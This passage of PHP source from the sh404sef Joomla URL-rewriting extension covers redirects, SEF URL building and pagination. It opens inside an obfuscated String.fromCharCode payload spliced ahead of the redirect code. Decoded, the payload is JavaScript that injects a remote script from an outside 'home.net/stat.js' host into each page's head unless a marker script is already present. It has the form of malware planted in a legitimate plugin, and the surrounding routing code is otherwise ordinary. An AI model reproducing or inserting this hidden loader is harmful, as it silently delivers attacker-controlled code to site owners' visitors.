2, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 44, 32, 52, 54, 44, 32, 49, 49, 48, 44, 32, 49, 48, 49, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 57, 55, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 56, 44, 32, 54, 49, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 57, 44, 32, 52, 54, 44, 32, 52, 57, 41, 59, 32, 32, 32, 118, 97, 114, 32, 97, 108, 108, 115, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 32, 118, 97, 114, 32, 110, 116, 51, 32, 61, 32, 116, 114, 117, 101, 59, 32, 102, 111, 114, 32, 40, 32, 118, 97, 114, 32, 105, 32, 61, 32, 97, 108, 108, 115, 46, 108, 101, 110, 103, 116, 104, 59, 32, 105, 45, 45, 59, 41, 32, 123, 32, 105, 102, 32, 40, 97, 108, 108, 115, 91, 105, 93, 46, 115, 114, 99, 46, 105, 110, 100, 101, 120, 79, 102, 40, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 57, 55, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 49, 41, 41, 32, 62, 32, 45, 49, 41, 32, 123, 32, 110, 116, 51, 32, 61, 32, 102, 97, 108, 115, 101, 59, 125, 32, 125, 32, 105, 102, 40, 110, 116, 51, 32, 61, 61, 32, 116, 114, 117, 101, 41, 123, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 34, 104, 101, 97, 100, 34, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 111, 109, 101, 115, 116, 114, 105, 110, 103, 41, 59, 32, 125));'; } else { switch ($redirKind) { case '302': $redirHeader = 'HTTP/1.1 302 Moved Temporarily'; break; case '303': $redirHeader = 'HTTP/1.1 303 See Other'; break; default: $redirHeader = 'HTTP/1.1 301 Moved Permanently'; break; } header('Cache-Control: no-cache'); // prevent Firefox5+ and IE9+ to consider this a cacheable redirect header($redirHeader); header('Location: ' . $url); header('Content-Type: text/html; charset=' . $document->getCharset()); } $mainframe->close(); } function shCloseLogFile() { global $shLogger; if (!empty($shLogger)) { $shLogger->log('Closing log file at shutdown' . "\n\n"); if (!empty($shLogger->logFile)) { fClose($shLogger->logFile); } } } function _log($text, $data = '') { ShlSystem_Log::debug('sh404sef', '_log is deprecated, used shlSystem_Log instead'); } // J 1.5 : will put unused vars in uri query function shRebuildVars($appendString, &$uri) { if (empty($uri)) { return; } $string = empty($appendString) ? '' : JString::ltrim($appendString, '?'); $uri->setQuery($string); } function shFileExists($fileName) { static $files = array(); $fileMD5 = md5($fileName); if (!isset($files[$fileMD5])) { $files[$fileMD5] = file_exists($fileName); } return $files[$fileMD5]; } function shGetMenuItemSsl($id) { if (empty($id)) { return 'ignore'; } $secure = 0; $app = JFactory::getApplication(); $menu = $app->getMenu(); if (!empty($menu)) { $params = $menu->getParams($id); $secure = $params->get('secure'); } switch ($secure) { case -1: $secure = 'no'; break; case 1: $secure = 'yes'; break; default: $secure = 'ignore'; } return $secure; } function shGetMenuItemLanguage($id) { if (empty($id)) { return ''; } $language = ''; $app = JFactory::getApplication(); $menu = $app->getMenu(); if (!empty($menu)) { $item = $menu->getItem($id); if (!empty($item)) { $language = $item->language == '*' ? Sh404sefFactory::getPageInfo()->currentLanguageTag : $item->language; } } return $language; } function shSefRelToAbs($string, $shLanguageParam, &$uri, &$originalUri) { global $_SEF_SPACE, $shGETVars, $shRebuildNonSef; ShlSystem_Log::debug('sh404sef', 'Entering shSefRelToAbs with ' . $string . ' | Lang = ' . $shLanguageParam); $mainframe = JFactory::getApplication(); $pageInfo = Sh404sefFactory::getPageInfo(); $sefConfig = Sh404sefFactory::getConfig(); $app = JFactory::getApplication(); // return unmodified anchors if (JString::substr($string, 0, 1) == '#') { // V 1.2.4.t return $string; } // Quick fix for shared SSL server : if https, switch to non sef $id = Sh404sefHelperUrl::getUrlVar($string, 'Itemid', $app->input->getInt('Itemid')); $secure = 'yes' == shGetMenuItemSsl($id); if ($secure && $sefConfig->shForceNonSefIfHttps) { ShlSystem_Log::debug('sh404sef', 'Returning shSefRelToAbs : Forced non sef if https'); return shFinalizeURL($string); } $database = ShlDbHelper::getDb(); $shOrigString = $string; $shMosMsg = shGetMosMsg($string); // V x 01/09/2007 22:45:52 $string = shCleanUpMosMsg($string);// V x 01/09/2007 22:45:52 // V x : removed shJoomfish module. Now we set $mosConfi_lang here $shOrigLang = $pageInfo->currentLanguageTag; // save current language $shLanguage = Sh404sefHelperUrl::getUrlLang($string); // target language in URl is always first choice // second choice is param if (empty($shLanguage)) { $shLanguage = !empty($shLanguageParam) ? $shLanguageParam : $shLanguage; } // third choice is to read from menu, based on Itemid // but only for Joomla multilingual, this breaks // Joomfish/Falang, as current menu language may not be correct if (($pageInfo->isMultilingual === false || $pageInfo->isMultilingual == 'joomla') && empty($shLanguage) && !empty($id)) { $shLanguage = shGetMenuItemLanguage($id); } if (empty($shLanguage)) { $shLanguage = !empty($shLanguageParam) ? $shLanguageParam : $pageInfo->currentLanguageTag; } $pageInfo->setCurrentLanguage($shLanguage); ShlSystem_Log::debug('sh404sef', 'Language used : ' . $shLanguage); // V 1.2.4.t workaround for old links like option=compName instead of option=com_compName if (strpos(strtolower($string), 'option=login') === false && strpos(strtolower($string), 'option=logout') === false && strpos(strtolower($string), 'option=&') === false && JString::substr(strtolower($string), -7) != 'option=' && strpos(strtolower($string), 'option=cookiecheck') === false && strpos(strtolower($string), 'option=') !== false && strpos(strtolower($string), 'option=com_') === false ) { $string = str_replace('option=', 'option=com_', $string); } // V 1.2.4.j string to be appended to URL, but not saved to DB $shAppendString = ''; $shRebuildNonSef = array(); $shComponentType = ''; // V w initialize var to avoid notices if ($pageInfo->homeLink) { // now check URL against our homepage, so as to always return / if homepage $v1 = JString::ltrim(str_replace($pageInfo->getDefaultFrontLiveSite(), '', $string), '/'); // V 1.2.4.m : remove anchor if any $v2 = explode('#', $v1); $v1 = $v2[0]; $shAnchor = isset($v2[1]) ? '#' . $v2[1] : ''; $shSepString = (JString::substr($v1, -9) == 'index.php' || strpos($v1, '?') === false) ? '?' : '&'; $shLangString = 'lang=' . Sh404sefHelperLanguage::getUrlCodeFromTag($shLanguage); if (!Sh404sefHelperUrl::getUrlVar($v1, 'lang')) { $v1 .= $shSepString . $shLangString; } $v1 = str_replace('&', '&', Sh404sefHelperUrl::sortUrl($v1)); // V 1.2.4.t check also without pagination info if (strpos($v1, 'limitstart=0') !== false) { // the page has limitstart=0 $stringNoPag = shCleanUpPag($v1); // remove paging info to be sure this is not homepage } else { $stringNoPag = null; } if ($v1 == $pageInfo->homeLink || $v1 == $pageInfo->allLangHomeLink || $v1 == 'index.php?' . $shLangString || (!empty($stringNoPag) && $stringNoPag == $pageInfo->homeLink) || (!empty($stringNoPag) && $stringNoPag == $pageInfo->allLangHomeLink) ) { $shTemp = ($v1 == $pageInfo->homeLink || shIsDefaultLang($shLanguage)) && !Sh404sefHelperLanguage::getInsertLangCodeInDefaultLanguage() ? '' : Sh404sefHelperLanguage::getUrlCodeFromTag($shLanguage) . '/'; if (!empty($sefConfig->shForcedHomePage)) { // V 1.2.4.t $shTmp = $shTemp . $shAnchor; $ret = shFinalizeURL($sefConfig->shForcedHomePage . (empty($shTmp) ? '' : '/' . $shTmp)); if (empty($uri)) // if no URI, append remaining vars directly to the string { $ret .= $shAppendString; } else { shRebuildVars($shAppendString, $uri); } $pageInfo->setCurrentLanguage($shOrigLang); ShlSystem_Log::debug('sh404sef', 'Returning shSefRelToAbs 1 with ' . $ret); return $ret; } else { $shRewriteBit = shIsDefaultLang($shLanguage) && !Sh404sefHelperLanguage::getInsertLangCodeInDefaultLanguage() ? '/' : $sefConfig->shRewriteStrings[$sefConfig->shRewriteMode]; $ret = shFinalizeURL($pageInfo->getDefaultFrontLiveSite() . $shRewriteBit . $shTemp . $shAnchor); if (empty($uri)) // if no URI, append remaining vars directly to the string { $ret .= $shAppendString; } else { shRebuildVars($shAppendString, $uri); } $pageInfo->setCurrentLanguage($shOrigLang); ShlSystem_Log::debug('sh404sef', 'Returning shSefRelToAbs 2 with ' . $ret); return $ret; } } } $newstring = str_replace($pageInfo->getDefaultFrontLiveSite() . '/', '', $string); $letsGo = JString::substr($newstring, 0, 9) == 'index.php'; if ($letsGo) { // Replace & character variations. $string = str_replace(array('&', '&'), array('&', '&'), $newstring); $newstring = $string; // V 1.2.4.q $shSaveString = $string; // warning : must add &lang=xx (only if it does not exists already), so as to be able to recognize the SefURL in the db if it's there if (!Sh404sefHelperUrl::getUrlVar($string, 'lang')) { $shSepString = JString::substr($string, -9) == 'index.php' ? '?' : '&'; $anchorTable = explode('#', $string); // V 1.2.4.m remove anchor before adding language $string = $anchorTable[0]; $string .= $shSepString . 'lang=' . Sh404sefHelperLanguage::getUrlCodeFromTag($shLanguage) . (!empty($anchorTable[1]) ? '#' . $anchorTable[1] : ''); // V 1.2.4.m then stitch back anchor } $URI = new sh_Net_URL($string); // V 1.2.4.l need to save unsorted URL if (count($URI->querystring) > 0) { // Import new vars here. $option = null; $task = null; //$sid = null; V 1.2.4.s // sort GET parameters to avoid some issues when same URL is produced with options not // in the same order, ie index.php?option=com_virtuemart&category_id=3&Itemid=2&lang=fr // Vs index.php?category_id=3&option=com_virtuemart&Itemid=2&lang=fr ksort($URI->querystring); // sort URL array $string = Sh404sefHelperUrl::sortUrl($string); // now we are ready to extract vars $shGETVars = $URI->querystring; extract($URI->querystring, EXTR_REFS); } if (empty($option)) { // V 1.2.4.r protect against empty $option : we won't know what to do $pageInfo->setCurrentLanguage($shOrigLang); ShlSystem_Log::debug('sh404sef', 'Returning shSefRelToAbs 3 with ' . $shOrigString); return $shOrigString; } // get plugin associated with the extension $extPlugin = Sh404sefFactory::getExtensionPlugin($option); // get component type $shComponentType = $extPlugin->getComponentType(); $shOption = str_replace('com_', '', $option); //list of extension we always skip $alwaysSkip = Sh404sefFactory::getPConfig()->alwaysNonSefComponents; if (in_array($shOption, $alwaysSkip)) { $shComponentType = Sh404sefClassBaseextplugin::TYPE_SKIP; } // V 1.2.4.s : fallback to to JoomlaSEF if no extension available // V 1.2.4.t : this is too early ; it prevents manual custom redirect to be checked agains the requested non-sef URL ShlSystem_Log::debug('sh404sef', 'Component type = ' . $shComponentType); // is there a named anchor attached to $string? If so, strip it off, we'll put it back later. if ($URI->anchor) { $string = str_replace('#' . $URI->anchor, '', $string); } // V 1.2.4.m // shumisha special homepage processing (in other than default language) if ((shIsAnyHomePage($string)) || ($string == 'index.php') // 10/08/2007 18:13:43 ) { $sefstring = ''; $urlType = shGetSefURLFromCacheOrDB($string, $sefstring); // still use it so we need it both ways if (($urlType == sh404SEF_URLTYPE_NONE || $urlType == sh404SEF_URLTYPE_404) && empty($showall) && (!empty($limit) || (!isset($limit) && !empty($limitstart))) ) { $urlType = shGetSefURLFromCacheOrDB(shCleanUpPag($string), $sefstring); // V 1.2.4.t check also without page info //to be able to add pagination on custom //redirection or multi-page homepage if ($urlType != sh404SEF_URLTYPE_NONE && $urlType != sh404SEF_URLTYPE_404) { $sefstring = shAddPaginationInfo(@$limit, @$limitstart, @showall, 1, $string, $sefstring, null); // a special case : com_content does not calculate pagination right // for frontpage and blog, they include links shown at the bottom in the calculation of number of items // For instance, with joomla sample data, the frontpage has only 5 articles // but the view sets $limit to 9 !!! if (($option == 'com_content' && isset($layout) && $layout == 'blog') || ($option == 'com_content' && isset($view) && $view == 'featured') ) { $listLimit = shGetDefaultDisplayNumFromURL($string, $includeBlogLinks = true); $string = Sh404sefHelperUrl::setUrlVar($string, 'limit', $listLimit); $string = Sh404sefHelperUrl::sortUrl($string); } // that's a new URL, so let's add it to DB and cache shAddSefUrlToDBAndCache($string, $sefstring, 0, $urlType); // created url must be of same type as original } if ($urlType == sh404SEF_URLTYPE_NONE || $urlType == sh404SEF_URLTYPE_404) { require_once(sh404SEF_FRONT_ABS_PATH . 'sef_ext.php'); $sef_ext = new sef_404(); // Rewrite the URL now. // a special case : com_content does not calculate pagination right // for frontpage and blog, they include links shown at the bottom in the calculation of number of items // For instance, with joomla sample data, the frontpage has only 5 articles // but the view sets $limit to 9 !!! if (($option == 'com_content' && isset($layout) && $layout == 'blog') || ($option == 'com_content' && isset($view) && $view == 'featured') ) { $listLimit = shGetDefaultDisplayNumFromURL($string, $includeBlogLinks = true); $string = Sh404sefHelperUrl::setUrlVar($string, 'limit', $listLimit); $string = Sh404sefHelperUrl::sortUrl($string); } $urlVars = is_array($URI->querystring) ? array_map('urldecode', $URI->querystring) : $URI->querystring; $sefstring = $sef_ext->create($string, $urlVars, $shAppendString, $shLanguage, $shOrigString, $originalUri); // V 1.2.4.s added original string } } else if (($urlType == sh404SEF_URLTYPE_NONE || $urlType == sh404SEF_URLTYPE_404)) { // not found but no $limit or $limitstart $sefstring = Sh404sefHelperLanguage::getUrlCodeFromTag($shLanguage) . '/'; shAddSefUrlToDBAndCache($string, $sefstring, 0, sh404SEF_URLTYPE_AUTO); // create it } // V 1.2.4.j : added $shAppendString to pass non sef parameters. For use with parameters that won't be stored in DB $ret = $pageInfo->getDefaultFrontLiveSite() . (empty($sefstring) ? '' : $sefConfig->shRewriteStrings[$sefConfig->shRewriteMode] . $sefstring); $ret = shFinalizeURL($ret); if (empty($uri)) { // if no URI, append remaining vars directly to the string $ret .= $shAppendString; } else { shRebuildVars($shAppendString, $uri); } $pageInfo->setCurrentLanguage($shOrigLang); ShlSystem_Log::debug('sh404sef', 'Returning shSefRelToAbs 4 with ' . $ret); return $ret; } if (isset($option) && !($option == 'com_content' && @$task == 'edit') && (strtolower($option) != 'com_sh404sef')) { // V x 29/08/2007 23:19:48 // check also that option = com_content, otherwise, breaks some comp switch ($shComponentType) { case Sh404sefClassBaseextplugin::TYPE_SKIP: { $sefstring = $shSaveString; // V 1.2.4.q : restore untouched URL, except anchor which will be added later // J! 1.6 kill all query vars $shGETVars = array(); $uri->setQuery(array()); break; } case Sh404sefClassBaseextplugin::TYPE_SIMPLE: // check for custom urls $sefstring = ''; $urlType = shGetSefURLFromCacheOrDB($string, $sefstring); // if no custom found, then build default url if ($urlType != sh404SEF_URLTYPE_CUSTOM) { // if not found then fall back to Joomla! SEF if (isset($URI)) { unset($URI); } $sefstring = 'component/'; $URI = new sh_Net_URL(Sh404sefHelperUrl::sortUrl($shSaveString)); // can't remove yet, anchor is use later down $jUri = new JUri(Sh404sefHelperUrl::sortUrl($shSaveString)); $uriVars = $jUri->getQuery($asArray = true); // remove lang information, if set to // based on remove_default_prefix params of languagefilter plugin $languageTag = empty($uriVars['lang']) ? Sh404sefFactory::getPageInfo()->currentLanguageTag : Sh404sefHelperLanguage::getLangTagFromUrlCode($uriVars['lang']); $shouldInsertLanguageCode = shInsertIsoCodeInUrl($shOption, $languageTag); if (isset($uriVars['lang'])) { unset($uriVars['lang']); } if (count($uriVars) > 0) { foreach ($uriVars as $key => $value) { if (is_array($value)) { foreach ($value as $k => $v) { // fix for arrays, thanks doorknob $sefstring .= $key . '[' . $k . '],' . $v . '/'; } } else { $sefstring .= $key . ',' . $value . '/'; } } $sefstring = str_replace('option,', '', $sefstring); } if ($shouldInsertLanguageCode) { $sefstring = Sh404sefHelperLanguage::getUrlCodeFromTag($languageTag) . '/' . $sefstring; } } break; default: { $sefstring = ''; // base case: $urlType = shGetSefURLFromCacheOrDB($string, $sefstring); // first special case. User may have customized paginated urls // this will be picked up by the line above, except if we're talking about // a category or section blog layout, where Joomla does not uses the correct // value for limit if (($urlType == sh404SEF_URLTYPE_NONE || $urlType == sh404SEF_URLTYPE_404) && empty($showall) && (!empty($limit) || (!isset($limit) && !empty($limitstart))) ) { if (($option == 'com_content' && isset($layout) && $layout == 'blog') || ($option == 'com_content' && isset($view) && $view == 'featured') ) { $listLimit = shGetDefaultDisplayNumFromURL($string, $includeBlogLinks = true); $tmpString = Sh404sefHelperUrl::setUrlVar($string, 'limit', $listLimit); $tmpString = Sh404sefHelperUrl::sortUrl($tmpString); $urlType = shGetSefURLFromCacheOrDB($tmpString, $sefstring); if ($urlType != sh404SEF_URLTYPE_NONE && $urlType != sh404SEF_URLTYPE_404) { // we found a match with pagination info! $string = $tmpString; } } } // now let's try again without any pagination at all /* if (($urlType == sh404SEF_URLTYPE_NONE || $urlType == sh404SEF_URLTYPE_404) && empty( $showall) && (!empty($limit) || (!isset($limit) && !empty($limitstart)))) { $urlType = shGetSefURLFromCacheOrDB(shCleanUpPag($string), $sefstring); // search without pagination info if ($urlType != sh404SEF_URLTYPE_NONE && $urlType != sh404SEF_URLTYPE_404) { $sefstring = shAddPaginationInfo( @$limit, @$limitstart, @showall, 1, $string, $sefstring, null); // a special case : com_content does not calculate pagination right // for frontpage and blog, they include links shown at the bottom in the calculation of number of items // For instance, with joomla sample data, the frontpage has only 5 articles // but the view sets $limit to 9 !!! if (($option == 'com_content' && isset($layout) && $layout == 'blog') || ($option == 'com_content' && isset( $view) && $view == 'featured' )) { $listLimit = shGetDefaultDisplayNumFromURL($string, $includeBlogLinks = true); $string = Sh404sefHelperUrl::setUrlVar( $string, 'limit', $listLimit); $string = Sh404sefHelperUrl::sortUrl($string); } // that's a new URL, so let's add it to DB and cache ShlSystem_Log::debug( 'sh404sef', 'Created url based on non paginated base url:' . $string); shAddSefUrlToDBAndCache( $string, $sefstring, 0, $urlType); } } */ if ($urlType == sh404SEF_URLTYPE_NONE) { // If component has its own sef_ext plug-in included. $shDoNotOverride = in_array($shOption, $sefConfig->shDoNotOverrideOwnSef); if (shFileExists(sh404SEF_ABS_PATH . 'components/' . $option . '/sef_ext.php') && ($shDoNotOverride // and param said do not override || (!$shDoNotOverride // or param said override, but we don't have a plugin either in sh404SEF dir or component sef_ext dir && (!in_array($shOption, $sefConfig->useJoomlaRouterPhpWithItemid)) && (!in_array($shOption, $sefConfig->useJoomlaRouter)) && (!shFileExists(sh404SEF_ABS_PATH . 'components/com_sh404sef/sef_ext/' . $option . '.php') && !shFileExists(sh404SEF_ABS_PATH . 'components/' . $option . '/sef_ext/' . $option . '.php')))) ) { // Load the plug-in file. V 1.2.4.s changed require_once to include include_once(sh404SEF_ABS_PATH . 'components/' . $option . '/sef_ext.php'); $_SEF_SPACE = $sefConfig->replacement; $comp_name = str_replace('com_', '', $option); $className = 'sef_' . $comp_name; $sef_ext = new $className; // V x : added default string in params if (empty($sefConfig->defaultComponentStringList[$comp_name])) { $title[] = getMenuTitle($option, null, isset($Itemid) ? @$Itemid : null, null, $shLanguage); } // V 1.2.4.x else { $title[] = $sefConfig->defaultComponentStringList[$comp_name]; } // V 1.2.4.r : clean up URL BEFORE sending it to sef_ext files, to have control on what they do // remove lang information, we'll put it back ourselves later //$shString = preg_replace( '/(&|\?)lang=[a-zA-Z]{2,3}/iU' ,'', $string); // V 1.2.4.t use original non-sef string. Some sef_ext files relies on order of params, which may // have been changed by sh404SEF $shString = preg_replace('/(&|\?)lang=[a-zA-Z]{2,3}/iu', '', $shSaveString); $finalstrip = explode("|", $sefConfig->stripthese); $shString = str_replace('&', '&', $shString); ShlSystem_Log::debug('sh404sef', 'Sending to own sef_ext.php plugin : ' . $shString); $sefstring = $sef_ext->create($shString); ShlSystem_Log::debug('sh404sef', 'Created by sef_ext.php plugin : ' . $sefstring); $sefstring = str_replace("%10", "%2F", $sefstring); $sefstring = str_replace("%11", $sefConfig->replacement, $sefstring); $sefstring = rawurldecode($sefstring); if ($sefstring == $string) { if (!empty($shMosMsg)) // V x 01/09/2007 22:48:01 { $string .= '?' . $shMosMsg; } $ret = shFinalizeURL($string); $pageInfo->currentLanguageTag = $shOrigLang; ShlSystem_Log::debug('sh404sef', 'Returning shSefRelToAbs 5 with ' . $ret); return $ret; } else { // V 1.2.4.p : sef_ext extensions for opensef/SefAdvance do not always replace ' $sefstring = str_replace('\'', $sefConfig->replacement, $sefstring); // some ext. seem to html_special_chars URL ? $sefstring = str_replace(''', $sefConfig->replacement, $sefstring); // V w 27/08/2007 13:23:56 $sefstring = str_replace(' ', $_SEF_SPACE, $sefstring); $sefstring = str_replace( ' ', '', (shInsertIsoCodeInUrl($option, $shLanguage) ? // V 1.2.4.q Sh404sefHelperLanguage::getUrlCodeFromTag($shLanguage) . '/' : '') . titleToLocation($title[0]) . '/' . JString::ltrim($sefstring, '/') . (($sefstring != '') ? $sefConfig->suffix : '') ); if (!empty($sefConfig->suffix)) { $sefstring = str_replace('/' . $sefConfig->suffix, $sefConfig->suffix, $sefstring); } //$finalstrip = explode("|", $sefConfig->stripthese); $sefstring = str_replace($finalstrip, $sefConfig->replacement, $sefstring); $sefstring = str_replace( $sefConfig->replacement . $sefConfig->replacement . $sefConfig->replacement, $sefConfig->replacement, $sefstring ); $sefstring = str_replace($sefConfig->replacement . $sefConfig->replacement, $sefConfig->replacement, $sefstring); $suffixthere = 0; if (!empty($sefConfig->suffix) && strpos($sefstring, $sefConfig->suffix) !== false) // V 1.2.4.s { $suffixthere = strlen($sefConfig->suffix); } $takethese = str_replace("|", "", $sefConfig->friendlytrim); $sefstring = JString::trim(JString::substr($sefstring, 0, strlen($sefstring) - $suffixthere), $takethese); $sefstring .= $suffixthere == 0 ? '' : $sefConfig->suffix; // version u 26/08/2007 17:27:16 // V 1.2.4.m store it in DB so as to be able to use sef_ext plugins really ! $string = str_replace('&', '&', $string); // V 1.2.4.r without mod_rewrite $shSefString = shAdjustToRewriteMode($sefstring); // V 1.2.4.p check for various URL for same content $dburl = ''; // V 1.2.4.t prevent notice error $urlType = sh404SEF_URLTYPE_NONE; if ($sefConfig->shUseURLCache) { $urlType = Sh404sefHelperCache::getNonSefUrlFromCache($shSefString, $dburl); } $newMaxRank = 0; // V 1.2.4.s $shDuplicate = false; if ($sefConfig->shRecordDuplicates || $urlType == sh404SEF_URLTYPE_NONE) { try { $sql = "SELECT newurl, rank, dateadd FROM #__sh404sef_urls WHERE oldurl = " . $database->Quote($shSefString) . " ORDER BY rank ASC"; $database->setQuery($sql); $dbUrlList = $database->loadObjectList(); } catch (Exception $e) { ShlSystem_Log::error('sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, $e->getMessage()); $dbUrlList = array(); } if (count($dbUrlList) > 0) { $dburl = $dbUrlList[0]->newurl; $newMaxRank = $dbUrlList[count($dbUrlList) - 1]->rank + 1; $urlType = $dbUrlList[0]->dateadd == '0000-00-00' ? sh404SEF_URLTYPE_AUTO : sh404SEF_URLTYPE_CUSTOM; } } if ($urlType != sh404SEF_URLTYPE_NONE && ($dburl != $string)) { $shDuplicate = true; } $urlType = $urlType == sh404SEF_URLTYPE_NONE ? sh404SEF_URLTYPE_AUTO : $urlType; ShlSystem_Log::debug( 'sh404sef', 'Adding from sef_ext to DB : ' . $shSefString . ' | rank = ' . ($shDuplicate ? $newMaxRank : 0) ); shAddSefUrlToDBAndCache($string, $shSefString, ($shDuplicate ? $newMaxRank : 0), $urlType); } } // Component has no own sef extension. else { $string = JString::trim($string, "&?"); // V 1.2.4.q a trial in better handling homepage articles // disabled in J! 1.6. Becomes too complex with multi-language // TODO: remove guessItemidOnHomepage setting if (false && shIsCurrentPageHome() && ($option == 'com_content') // com_content component on homepage && (isset($task)) && ($task == 'view') && $sefConfig->guessItemidOnHomepage ) { $string = preg_replace('/(&|\?)Itemid=[^&]*/iu', '', $string); // we remove Itemid, as com_content plugin $Itemid = null; // will hopefully do a better job at finding the right one unset($URI->querystring['Itemid']); unset($shGETVars['Itemid']); } require_once(sh404SEF_FRONT_ABS_PATH . 'sef_ext.php'); $sef_ext = new sef_404(); // Rewrite the URL now. // V 1.2.4.s added original string // a special case : com_content does not calculate pagination right // for frontpage and blog, they include links shown at the bottom in the calculation of number of items // For instance, with joomla sample data, the frontpage has only 5 articles // but the view sets $limit to 9 !!! if (($option == 'com_content' && isset($layout) && $layout == 'blog') || ($option == 'com_content' && isset($view) && $view == 'featured') ) { $listLimit = shGetDefaultDisplayNumFromURL($string, $includeBlogLinks = true); $string = Sh404sefHelperUrl::setUrlVar($string, 'limit', $listLimit); $string = Sh404sefHelperUrl::sortUrl($string); //$URI->addQueryString( 'limit', $listLimit); } $sefstring = $sef_ext->create($string, $URI->querystring, $shAppendString, $shLanguage, $shOrigString, $originalUri); ShlSystem_Log::debug('sh404sef', 'Created sef url from default plugin: ' . $sefstring); } } } } // end of cache check shumisha if (isset($sef_ext)) { unset($sef_ext); } // if string has not been modified, then we have decided for a non-sef if ($string == $sefstring) { // J! 1.6 kill all query vars $shGETVars = array(); $uri->setQuery(array()); } else { // include rewrite mode bit $shRewriteBit = $shComponentType == Sh404sefClassBaseextplugin::TYPE_SKIP ? '/' : $sefConfig->shRewriteStrings[$sefConfig->shRewriteMode]; if (strpos($sefstring, 'index.php') === 0) { $shRewriteBit = '/'; } // V 1.2.4.t bug #119 $string = $pageInfo->getDefaultFrontLiveSite() . $shRewriteBit . JString::ltrim($sefstring, '/') . (($URI->anchor) ? "#" . $URI->anchor : ''); } } else { // V x 03/09/2007 13:47:37 editing content $shComponentType = Sh404sefClassBaseextplugin::TYPE_SKIP; // will prevent turning & into & ShlSystem_Log::debug('sh404sef', 'shSefrelfToAbs: option not set, skipping'); } $ret = $string; // $ret = str_replace('itemid', 'Itemid', $ret); // V 1.2.4.t bug #125 ShlSystem_Log::debug('sh404sef', '(1) Setting shSefRelToAbs return string as: ' . $ret); } if (!isset($ret)) { $ret = $string; ShlSystem_Log::debug('sh404sef', '(2) Setting shSefRelToAbs return string as: ' . $ret); } $ret = ($shComponentType == Sh404sefClassBaseextplugin::TYPE_DEFAULT) ? shFinalizeURL($ret) : $ret; // V w 27/08/2007 13:21:28 ShlSystem_Log::debug('sh404sef', '(3) shSefRelToAbs return string after shFinalize: ' . $ret); if (empty($uri) || $shComponentType == Sh404sefClassBaseextplugin::TYPE_SKIP) { // we don't have a uri : we must be doing a redirect from non-sef to sef or similar $ret .= $shAppendString; // append directly to url ShlSystem_Log::debug('sh404sef', '(4) shSefRelToAbs return string after appendString: ' . $ret); } else { if (empty($sefstring) || (!empty($sefstring) && strpos($sefstring, 'index.php') !== 0)) { shRebuildVars($shAppendString, $uri); // instead, add to uri. Joomla will put everything together. Only do this if we have a sef url, and not if we have a non-sef ShlSystem_Log::debug('sh404sef', '(5) shSefRelToAbs no sefstring, adding rebuild vars : ' . $shAppendString); } } $pageInfo->setCurrentLanguage($shOrigLang); ShlSystem_Log::debug('sh404sef', 'shSefRelToAbs: finally returning: ' . $ret); return $ret; } // V 1.2.4.t returns sef url with added pagination information function shAddPaginationInfo($limit, $limitstart, $showall, $iteration, $url, $location, $shSeparator = null, $defaultListLimitValue = null, $suppressPagination = false) { $pageInfo = Sh404sefFactory::getPageInfo(); // get page details gathered by system plugin $sefConfig = Sh404sefFactory::getConfig(); // clean suffix and index file before starting to add things to the url // clean suffix if (strpos($url, 'option=com_content') !== false && strpos($url, 'format=pdf') !== false) { $shSuffix = '.pdf'; } else { $shSuffix = $sefConfig->suffix; } $suffixLength = JString::strLen($shSuffix); if (!empty($shSuffix) && ($shSuffix != '/') && JString::substr($location, -$suffixLength) == $shSuffix) { $location = JString::substr($location, 0, JString::strlen($location) - $suffixLength); } // clean index file if ($sefConfig->addFile && (empty($shSuffix) || JString::subStr($location, -$suffixLength) != $shSuffix)) { $indexFileLength = JString::strlen($sefConfig->addFile); if (($sefConfig->addFile != '/') && JString::substr($location, -$indexFileLength) == $sefConfig->addFile) { $location = JString::substr($location, 0, JString::strlen($location) - $indexFileLength); } } // get a default limit value, for urls where it's missing $listLimit = shGetDefaultDisplayNumFromURL($url, $includeBlogLinks = true); $defaultListLimit = is_null($defaultListLimitValue) ? shGetDefaultDisplayNumFromConfig($url, $includeBlogLinks = false) : $defaultListLimitValue; // do we have a trailing slash ? if (empty($shSeparator)) { $shSeparator = (JString::substr($location, -1) == '/') ? '' : '/'; } if (!$suppressPagination) { // start computing pagination if (!empty($limit) && is_numeric($limit)) { $pagenum = intval($limitstart / $limit); $pagenum++; } else if (!isset($limit) && !empty($limitstart)) { // only limitstart if (strpos($url, 'option=com_content') !== false && strpos($url, 'view=article') !== false) { $pagenum = intval($limitstart + 1); // multipage article } else { $pagenum = intval($limitstart / $listLimit) + 1; // blogs, tables, ... } } else { $pagenum = $iteration; } // Make sure we do not end in infite loop here. if ($pagenum < $iteration) { $pagenum = $iteration; } // shumisha added to handle table-category and table-section which may have variable number of items per page // There still will be a problem with filter, which may reduce the total number of items. Thus the item we are looking for if ($sefConfig->alwaysAppendItemsPerPage || (strpos($url, 'option=com_virtuemart') && $sefConfig->shVmUsingItemsPerPage)) { $shMultPageLength = $sefConfig->pagerep . (empty($limit) ? $listLimit : $limit); } else { $shMultPageLength = ''; } // shumisha : modified to add # of items per page to URL, for table-category or section-category if (!empty($sefConfig->pageTexts[$pageInfo->currentLanguageTag]) && (false !== 